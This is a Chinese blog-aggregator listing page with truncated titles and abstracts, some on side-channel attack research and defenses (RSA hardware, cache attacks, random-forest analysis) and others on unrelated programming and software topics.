    基于Montgomery算法的高速.可配置RSA密码IP核硬件设计系列(五) 2.2 模幂模块设计(抵抗测信道攻击模块) 2.2.1 模幂模块及内部模块的功能 2.2.3 模幂各模块的实现方案 2.2 ...

  9. CATalyst——针对末级缓存侧信道攻击的防御技术

    CATalyst: Defeating Last-Level Cache Side Channel Attacks inCloud Computing, HPCA'16 (A类), 2016年3月[1 ...

  10. 基于RF算法的侧信道攻击方法研究

    摘要 目前,随机森林(RF)算法在侧信道分析领域的潜力还没有得到充分利用.文章提出一种基于RF算法的侧信道攻击方法,分别从输入数据处理和参数控制两方面进行模型优化,在特征点选择和RF算法参数调优两方面 ...

最新文章

  1. ggplot2可视化水平箱图并使用fct_reorder排序数据、使用na.rm处理缺失值(reorder boxplot with fct_reorder)、按照箱图的中位数从小到大排序水平箱图
  2. MySQL优化之推荐使用规范
  3. 反思赚钱:一定要动脑子 一定找发财点
  4. ImCash:币圈英文术语大全
  5. Linux系统调用相关概念
  6. php生成appid,PHP生成腾讯云COS签名
  7. pycharm创建django项目linux部署
  8. ACwing 4. 多重背包问题 I(DP)
  9. NumPy快速入门--形状操作
  10. php - MySQL创建新用户并授权
  11. SqlSever2005 一千万条以上记录分页数据库优化经验总结【索引优化 + 代码优化】一周搞定...
  12. day34 GIL锁,线程队列,线程池
  13. Java分布式服务框架Dubbo初探(待实践)
  14. jar包运行utf-8格式
  15. 小学生计算机课记录表,小学信息技术听课记录
  16. 在浏览器输入localhost:3000显示需要新应用打开此localhost原因
  17. 太难受了,,公司规章制度
  18. 【求锤得锤的故事】Redis锁从面试连环炮聊到神仙打架
  19. linux中用c语言编写一个经纬度转换大地坐标
  20. 近地面无人机植被定量遥感与生理参数反演

热门文章

  1. Visual Studio2010安装教程
  2. 【考研数学】张宇1000题,汤家凤1800,李永乐660,应该怎么选择?
  3. 四叶草黑苹果启动器:Clover EFI bootloader for Mac
  4. webstorm主题网址+使用方法
  5. win10 打开ssr软件出现系统调用失败
  6. iOS手势识别的工作原理
  7. Unity 渲染管线总结
  8. 台式计算机可以发射无线网络,台式电脑无线网卡怎么发射WIFI信号!
  9. 研究生文献笔记(obsidian模板分享!!):zotero+bookxnote pro+obsidian
  10. 盒马销量预测核心算法的技术演进